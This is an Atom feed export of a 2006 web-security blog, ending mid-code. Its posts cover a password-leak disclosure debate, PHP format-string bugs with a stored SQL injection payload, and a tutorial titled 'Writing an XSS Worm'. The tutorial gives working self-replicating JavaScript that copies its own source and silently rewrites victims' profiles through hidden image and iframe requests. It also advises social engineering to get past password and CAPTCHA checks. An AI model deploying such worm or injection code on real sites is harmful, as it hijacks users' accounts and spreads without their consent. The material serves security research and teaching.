a new cookie (we could overwrite an existing cookie as well) besides the name cookie, and we could use such injection to perform things like $_REQUEST Variable Fixation (http://kuza55.blogspot.com/2006/03/request-variable-fixation.html), or other attacks. But more than to show an actual attack, it is an example of how the context (in this case; setting a cookie) will allow you to perform attacks, where the validation needed to stop those attacks would be useless and restrictive in other cases. And it satisfies my need for an obscure attack vector, :p.&lt;br /&gt;&lt;br /&gt;================&lt;br /&gt;4.0 Conclusion&lt;br /&gt;================&lt;br /&gt;What I've outlined here is not really new information, it is merely something which is greatly neglected by many people writing web apps. If there was anything I would like you to take away from this article above all else, it would have to be; know your encapsulation and how it can be broken out of, and how unexpected behaviours can be created. There's really nothing more to it other than remembering that, and not forgetting to apply that knowledge, and not just hope that nobody will notice.&lt;br /&gt;&lt;br /&gt; - kuza55&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-114587780779974871?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/114587780779974871/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=114587780779974871' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114587780779974871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114587780779974871'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/04/validation-in-context_24.html' title='Validation in Context'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-114432282165346244</id><published>2006-04-06T20:49:00.000+10:00</published><updated>2006-10-11T21:50:46.213+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>New South Wales Police's password blunder</title><content type='html'>http://www.theage.com.au/news/breaking/police-secret-password-blunder/2006/04/05/1143916569155.html&lt;br /&gt;&lt;blockquote&gt;A NSW Police blunder has led to a database of email passwords - including those of the anti-terrorism commander and hundreds of journalists - published on the internet.&lt;br /&gt;&lt;br /&gt;The names, email addresses and passwords of as many as 800 people who signed up to receive NSW Police media releases are listed on the database.&lt;br /&gt;&lt;br /&gt;Among the exposed passwords is that of Detective Chief Superintendent Mark Jenkins, the man responsible for the state's Counter Terrorist Co-ordination Command unit.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This article has generated a few responses, mostly along the lines of how irresponsible the author of the article and SMH (the Sydney morning Herald) have been in publishing it publicly, especially including such unique strings such as the passwords provided (which aren't actually needed to find the database on google).&lt;br /&gt;&lt;br /&gt;And while my initial response was to agree, is it all that much better than the disclosure policy a lot of people seem to subscribe to? While I agree that this is neither educational nor useful in getting the vendor to act faster (since we can only assume the NSW Police were not notified by much in advance, if at all, of the article being published), and it puts those specific users directly at risk, is it all that much worse?&lt;br /&gt;&lt;br /&gt;To find the passwords you would have had to have inclination to find them, and an understanding of google, and how to use it effectively, which is all that you really need to get a PoC exploit to work, really, maybe some programming knowledge if a bug has been introduced, but these days it seems to me that the skill level required to use an exploit and find this database are pretty similar.&lt;br /&gt;&lt;br /&gt;Of course, I am not condoning this and do agree this is more irresponsible than publishing eploits, but how much worse is it really? the users can react by changing their passwords, and no fix needs to be implemented. It would have been rather easy to find all the emails, and send them all an email saying that their password can be found online and they should change it, it wouldn't have been a hard task, its not as if only google or someone with exceptional skill to resolve the problem had to do it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-114432282165346244?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.theage.com.au/news/breaking/police-secret-password-blunder/2006/04/05/1143916569155.html' title='New South Wales Police&apos;s password blunder'/><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/114432282165346244/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=114432282165346244' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114432282165346244'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114432282165346244'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/04/new-south-wales-polices-password.html' title='New South Wales Police&apos;s password blunder'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-114249680534344391</id><published>2006-03-16T19:04:00.000+11:00</published><updated>2006-10-11T21:43:45.613+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Uninformed.org</title><content type='html'>Now, originally I was planning only to post the security related work I'd done here, but during my online travels I bumped into uninformed.org. It blew me away.&lt;br /&gt;&lt;br /&gt;The obvious amount of thought and detail which has been put into every paper I have read on that site was absolutely exceptional, and explained in such a simple manner that i had no trouble understanding it. I probably wouldn't be able to properly implement the techniques they talk about in the FUTo paper, but I definately understood the concepts, but if I did know anything about rootkit development i would probably be able to, because of the clear and concise way it is presented.&lt;br /&gt;&lt;br /&gt;I can't wait for the next volume to come out!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-114249680534344391?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.uninformed.org/' title='Uninformed.org'/><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/114249680534344391/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=114249680534344391' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114249680534344391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114249680534344391'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/03/uninformedorg.html' title='Uninformed.org'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-114223280756393894</id><published>2006-03-13T17:50:00.000+11:00</published><updated>2006-10-22T12:18:19.570+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Format Strings in PHP</title><content type='html'>I realise that no-one actually reads what I post here, but i've got an urge to post the crap that i've written up and posted almost nowhere (and in this case nowhere at all) for some reason, even thugh its crap, and useless....&lt;br /&gt;&lt;br /&gt;================&lt;br /&gt;Format Strings&lt;br /&gt;================&lt;br /&gt;&lt;br /&gt;This small article pertains to Format String vulnerabilities in PHP applications rather than PHP itself.&lt;br /&gt;&lt;br /&gt;Format String Vulnerabilities exist where the user is allowed to place data into a format string of a function which accepts a format string, e.g. sprintf(). These vulnerabilities are uncommon, even rare, in PHP because these functions are generally not used in PHP scripts.&lt;br /&gt;&lt;br /&gt;In most other languages format string vulnerabilities allow:&lt;br /&gt;  - Viewing the Stack&lt;br /&gt;  - DoS attacks&lt;br /&gt;  - Improper validation checks&lt;br /&gt;&lt;br /&gt;In PHP the first 2 should not be an issue since PHP makes sure the amount of unique (in the sense that they are unique if they don't reference to the same variable passed to the format function) place holders and variables it is passed, or provides an error message otherwise, and since the DoS vulnerabilities in format strings are resource exhaustion/corruption and PHP has a setting for the maximum amount of RAM it can consume (after it surpases the limit it simply kills the script and provides an error, instead of crashing) and the corruption can occur when the user is able to force the program to write to the stack, but since you cannot write to the stack using PHP's format functions those vulnerabilities do not exist.&lt;br /&gt;&lt;br /&gt;Improper validation checks are probably the only things you need to worry about in PHP, and then only if you were fairly sloppy in your work. An example of a vulnerable script would be a script which INSERTs data into a database, which validates different fields in different ways, and therefore trusts them differently when uing data retrieved from those fields:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;// Our RegExps to validate our data, the only thing that is required here is that one allows&lt;br /&gt;// single quotes (or whatever is used to encase strings) and of course letters so that stored&lt;br /&gt;// SQL Injection can be performedand and another be allowed percent and dollar signs and of&lt;br /&gt;// course lowercase letters.&lt;br /&gt;$regexps['field1'] = '/^A-Za-z0-9\'+-=!@#$%^&amp;*()$/';&lt;br /&gt;$regexps['field2'] = '/^A-Za-z0-9+-=!@#$%^&amp;*()$/';&lt;br /&gt;&lt;br /&gt;$errors['field1'] = "The value you supplied for field1 did not match the following RegExp: /^A-Za-z0-9'+-=!@#$%^&amp;*()$/\n";&lt;br /&gt;$errors['field2'] = "The value you supplied for field2 did not match the following RegExp: /^A-Za-z0-9+-=!@#$%^&amp;*()$/";&lt;br /&gt;&lt;br /&gt;$errormsg;&lt;br /&gt;$err = 0;&lt;br /&gt;&lt;br /&gt;foreach ($regexps As $key=&amp;gt;$value) {&lt;br /&gt; if (!ereg ($regexps[$key], $_POST[$value])) {&lt;br /&gt;  $err = 1;&lt;br /&gt;  $errormsg .= $errors[$key];&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (empty($err)) {&lt;br /&gt; $dbh = mysql_connect();&lt;br /&gt; $sql = sprintf ("INSERT INTO table (field1, field2) VALUES ('%s', '".mysql_real_escape_string ($_POST['field2']."')",&lt;br /&gt;     mysql_real_escape_string($_POST['field1']));&lt;br /&gt; mysql_query&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;In this (highly simplified example) we want to allow users to enter single quotes into field1 for some reason, e.g. its a surname field and we want to allow names like O'Rielly, and for some reason we want to allow percent signs in field2, and we were sloppy and inserted the (already validated) value of field2 directly into the format string.&lt;br /&gt;&lt;br /&gt;Now, how could this be bad, well it all comes back to the issue of trust, you trust that because you validated field2 to make sure there were no quotes and you do that validation every ime the user wants to update that field so you decided you weren't going to escape it to increase performance, now lets see what happens when we try and exploit the format string bug.&lt;br /&gt;&lt;br /&gt;Lets say we provided some stored SQL Injection (this could also be done with stored XSS) code  for field1, it wouldn't work since we know that field 1 could contain malicious data so we always escape it, to field2 though we provide the following value:&lt;code&gt;%1\$s&lt;/code&gt;Which is the format for inserting the first variable passed to the function after the formt string, and all of a sudden our format string looks like this:&lt;code&gt;INSERT INTO table (field1, field2) VALUES ('%s', '%1\$s')&lt;/code&gt;And all of a sudden we have some malicious SQL stored in a field which you trust implicitly and don't escape.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-114223280756393894?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/114223280756393894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=114223280756393894' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114223280756393894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114223280756393894'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/03/format-strings-in-php.html' title='Format Strings in PHP'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-114188738890496569</id><published>2006-03-09T17:46:00.000+11:00</published><updated>2006-10-17T18:34:56.630+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Writing an XSS Worm</title><content type='html'>===========================&lt;br /&gt;Writing an XSS worm&lt;br /&gt;Version 0.3 (Updated 17/10/06)&lt;br /&gt;By kuza55&lt;br /&gt;===========================&lt;br /&gt;&lt;br /&gt;Contents:&lt;br /&gt;&lt;br /&gt;1.0 Introduction to XSS worms&lt;br /&gt;2.0 Reconnaissance&lt;br /&gt;3.0 Finding the Source&lt;br /&gt;4.0 Spreading&lt;br /&gt;&amp;nbsp;&amp;nbsp;4.1 IMG Tags&lt;br /&gt;&amp;nbsp;&amp;nbsp;4.2 IFRAME Tags&lt;br /&gt;&amp;nbsp;&amp;nbsp;4.3 AJAX&lt;br /&gt;&amp;nbsp;&amp;nbsp;4.4 FORM/IFRAME Combination&lt;br /&gt;&amp;nbsp;&amp;nbsp;4.5 Flash&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4.5.1 Simple Flash XSS&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4.5.2 More Advanced Flash XSS&lt;br /&gt;5.0 Final Notes&lt;br /&gt;6.0 References&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;1.0 Introduction&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;Firstly, we need to know what a(n XSS) worm is. A worm is essentially a piece of (often malicious) code which replicates itself through some means. An XSS worm is the same idea applied to stored XSS holes, e.g. User profiles where users can inject Javascript through some means. This tutorial will use the example of some online software which allows users to input unrestricted HTML on their own page.&lt;br /&gt;&lt;br /&gt;This tutorial will focus on writing the actual code to spread, rather than finding a flaw which can be exploited in this way. Methods of Filter evasion are also out of the scope of this tutorial, and there is already much information in that regard available.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;2.0 Reconnaissance&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;Firstly you (obviously) need to find the XSS flaw, but you also need to do some reconnaissance to find what kind of information needs to be sent for it to update a user's profile. The first obvious requirement for almost all applications is that the user must be logged in when viewing the page for it to work. Other requirements may also be in place including the checking of a Referer header, or only accepting arguments via post (as opposed to accepting arguments via any combination of GET/POST/Cookie/etc, as would be the case if using something similar to PHP's $_REQUEST variables).&lt;br /&gt;&lt;br /&gt;Once all these things are scoped out you need to analyse wether or not its viable to write an XSS worm, and what the best method of spreading your code would be.&lt;br /&gt;&lt;br /&gt;Here's a small listing which should help you decide (though you may have thoughts of your own, these are merely mine), which method would be best.&lt;br /&gt;&lt;br /&gt;===========================&lt;br /&gt;Listing 1 - Method Decision Helper&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Accepts input via GET&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Can be done with an IMG/IFRAME tag, a FORM/IFRAME Combination,&amp;nbsp;&amp;nbsp;AJAX or Flash.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Essentially any form of XSS can be used here, this is obviously the easiest to exploit.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Checks Referer&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Cannot be done via IMG tag or Form/IFRAME Combination.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;So the methods left are AJAX, and advanced Flash on IE (more on this later).&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Asks User for Re-Authentication (i.e. password)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Requires social engineering, should not be difficult since the site would normally have the data anyways, so the user would (and should) not qualm at giving the data to them.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;This could be defeated if the user's pasword hash or password is stored in a cookie. By either decoding the cookie or querying some online reverse-lookup hash databases, or querying an IRC bot through a web interface is possible, but would probably generate a significant time delay.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Has a CAPTCHA or other form of automation prevention&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Requires social engineering to get the user to fill out the CAPTCHA for you.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Accepts input via POST Only&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Can be done with an IFRAME, a FORM/IFRAME Combination, AJAX or Advanced Flash.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Attempts to break out of frames&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Cannot be done with an IFRAME (to the best of my knowledge, I have not delved into this area much), but with the decline in the popularity of shoddy Javascripts which attempt to break out of frames, this should almost never be an issue. It can be done with a FORM/IFRAME Combination, but if the final page breaks out of the frames then you may alert the user.&lt;br /&gt;&lt;br /&gt;============================&lt;br /&gt;&lt;br /&gt;As you can see AJAX seems to be a rather useful tool for beating technical limitations, and while it is very nice and clean, you _will_ face problems with restrictive permission settings in IE, where the XMLHTTPRequest object is implemented via ActiveX. So while it is very nice technology, and would most likely get through where security permissions are set up to ask the user (since most users will agree to ActiveX controls from trusted websites), in places where it is not it will fail, *but* a nice feature of AJAX is that you can easily tell when the ActiveX components has been rejected and insert some handling code if you like.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt; Flash is also a very nice payload, but it is more easily restricted since it has to come from an EMBED tag, whereas AJAX can be stuck onto an existing XSS attack vector. On the other hand if you can find an XSS vulnerbaility where you can make use of flash it will be a very nice payload since it is generally not considered a security risk and therefore does not have the same problems as AJAX does on IE, on the other hand as is later explained, the Advanced Flash technique does not completely work on Firefox. There are problems with using flash too but they mainly revolve around the fact that the issues here be patched in Flash 9, which will also be availiable on Linux (unlike Flash 8), but untill that is released Flash is probably the easiest and almost the most powerful way to go.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;3.0 Finding The Source&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;Depending on what code you are actually spreading, you may or may not need to have the worm find its own source, and then put it into a variable for later writing, I will discuss this situation rather than one where you spread a simple script tag with an SRC attribute or similar.&lt;br /&gt;&lt;br /&gt;There would be 2 places you would need to extract code from, either enclosed within a tag, or in the attributes of a tag.&lt;br /&gt;&lt;br /&gt;For getting data from inside a tag (i.e. not an attribute, but contained within it), for example if you're using a &amp;lt;script&amp;gt; tags to hold your code, then you simply need to use the .innerHTML (or .text, but i think .text is only supported on Mozilla/Firefox) property. So lets have a look at some code then:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;script id=worm&amp;gt;&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;script id=worm&amp;gt;');&lt;br /&gt;myString = myString.concat(b.innerHTML);&lt;br /&gt;myString = myString.concat(unescape('&amp;lt;/script&amp;gt;'));&lt;br /&gt;alert(myString);&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Works like a charm, and if you have problems with inserting an id then you could always search through an array returned by document.getElementsByTagName()&lt;br /&gt;&lt;br /&gt;For getting attributes out, its a bit harder, but probably a more likely situation. Lets use an example of a body element with an onLoad attribute into which we have inserted our worm.&lt;br /&gt;&lt;br /&gt;The easiest solution is to find the tag on the page (which is most easily achieved by giving the tag an id), and then using the getAttribute() Method to extract its own code, here's a quick example:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;body id=worm onLoad="b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;myString = myString.concat(b.getAttribute('onLoad'));&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));&lt;br /&gt;alert(myString);&lt;br /&gt;"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Now this will work perfectly in Firefox and create an alert of itself exactly as it is there. We will though have a problem with IE, since its version of getAttribute() returns the code inside an anonymous function, so what we would get alert()-ed instead would be (approximately):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;body id=worm onLoad="function anonymous()&lt;br /&gt;{&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;myString = myString.concat(b.getAttribute('onLoad'));&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));&lt;br /&gt;alert(myString);&lt;br /&gt;}"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Which doesn't work for our purposes at all. We need to cut the first and last lines of what b.getAttribute returns if the user is using IE. Luckily its easier than removing the first line and last line, because we can remove the first 23 characters and the last character. Now The easiest way to do this would be to first test the browser, find the range of characters you need and then extract them, so we get:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;body id=worm onLoad="var a = document.getElementById('worm'); var c =&amp;nbsp;&amp;nbsp;a.getAttribute('onLoad');&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;var c = b.getAttribute('onLoad').toString();&lt;br /&gt;if ((navigator.appName).indexOf('Microsoft')!=-1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = c.substr(23, c.length-24); //adjust numbers to taste&lt;br /&gt;}&lt;br /&gt;myString = myString.concat (c);&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));&lt;br /&gt;alert(myString);"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Now, I didn't mention this earlier, but for some reason IE returns a function instead of a string, so we have to use the .toString() method on the result we get before operating on it or we get errors.&lt;br /&gt;&lt;br /&gt;There are a few other methods (i.e. completely different methods, with no resemblance to this one), but this is the easiest method I have found.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt; When using Flash as a delivery mechanism this is not an issue; again it builds the case for flash, but since flash is a corner case of XSS, this section is still relevant.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;4.0 Spreading&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;Now, we've got all the code we need to spread into a variable we need to write some code to actually spread it!&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;4.1 IMG Tags&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;The first way like I said, is to use an IMG tag, which, if you can, is the easiest method to use, and I would use it above all other methods wherever possible.&lt;br /&gt;&lt;br /&gt;Now, there are 2 ways to write even this. The first way is to change the SRC property of an image (preferably one you can include and give an id) or generate an image via Javascript, and then adjust the image.&lt;br /&gt;I think that generating an image via Javascript, and then changing the src is way too much effort, *but*, if you include an image you'll have to edit your javascript to keep replicating the image as well, but you will get the benefit of more standard behaviors, and less code to write, and less code which needs to be stored on the servers. So lets get to it.&lt;br /&gt;&lt;br /&gt;First we need to add the image in to our code, and modify it to take the image into account:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;img style='display:hidden;' width=0 height=0 id=wormimg&amp;gt;&amp;lt;body id=worm onLoad="var a = document.getElementById('worm'); var c =&amp;nbsp;&amp;nbsp;a.getAttribute('onLoad');&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;img style=\'display:hidden;\' width=0 height=0 id=wormimg&amp;gt;&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;var c = b.getAttribute('onLoad').toString();&lt;br /&gt;if ((navigator.appName).indexOf('Microsoft')!=-1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = c.substr(23, c.length-24); //adjust numbers to taste&lt;br /&gt;}&lt;br /&gt;myString = myString.concat (c);&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Easy enough wasn't it, don't forget to use the CSS though, so that not only is it invisible, it doesn't take that element into account when rendering the page (so its better than visibility:false for our purposes).&lt;br /&gt;The next step is to of course make it do something, duh!&lt;br /&gt;For this example lets pretend we have a page called edit_profile.php which takes a single GET parameter (profile), which edits the profile.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;img style='display:hidden;' width=0 height=0 id=wormimg&amp;gt;&amp;lt;body id=worm onLoad="var a = document.getElementById('worm'); var c =&amp;nbsp;&amp;nbsp;a.getAttribute('onLoad');&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;img style=\'display:hidden;\' width=0 height=0 id=wormimg&amp;gt;&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;var c = b.getAttribute('onLoad').toString();&lt;br /&gt;if ((navigator.appName).indexOf('Microsoft')!=-1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = c.substr(23, c.length-24); //adjust numbers to taste&lt;br /&gt;}&lt;br /&gt;myString = myString.concat (c);&lt;br /&gt;myString = myString.concat(unescape('%22&amp;gt;'));&lt;br /&gt;myString = escape(myString);&lt;br /&gt;var img = document.getElementById ('wormimg');&lt;br /&gt;var url = 'edit_profile.php?profile=';&lt;br /&gt;url = url.concat(escape(myString));&lt;br /&gt;img.src = url;"&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And there we go, we've got probably the simplest XSS worm we can create.&lt;br /&gt;&lt;br /&gt;======================&lt;br /&gt;4.2 IFRAME Tags&lt;br /&gt;======================&lt;br /&gt;&lt;br /&gt;Now onto using iframes. The idea behind using iframes is to load the page into an iframe, and then fill out the form on the page, and then submit it, in case anyone is wondering why this can't be used from another site, it is because you can only interact with the contents of the page if you are on the same domain as the page.&lt;br /&gt;&lt;br /&gt;The first bit (like with the IMG tag) is to add it at the beginning of the worm and then add it into the code in the worm like so:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;body id=worm onLoad="var a = document.getElementById('worm'); var c =&amp;nbsp;&amp;nbsp;a.getAttribute('onLoad');&lt;br /&gt;b = document.getElementById('worm');&lt;br /&gt;var myString = unescape('&amp;lt;iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;body id=worm C=%22&amp;gt;%22 onLoad=%22');&lt;br /&gt;var c = b.getAttribute('onLoad').toString();&lt;br /&gt;if ((navigator.appName).indexOf('Microsoft')!=-1) {&lt;br 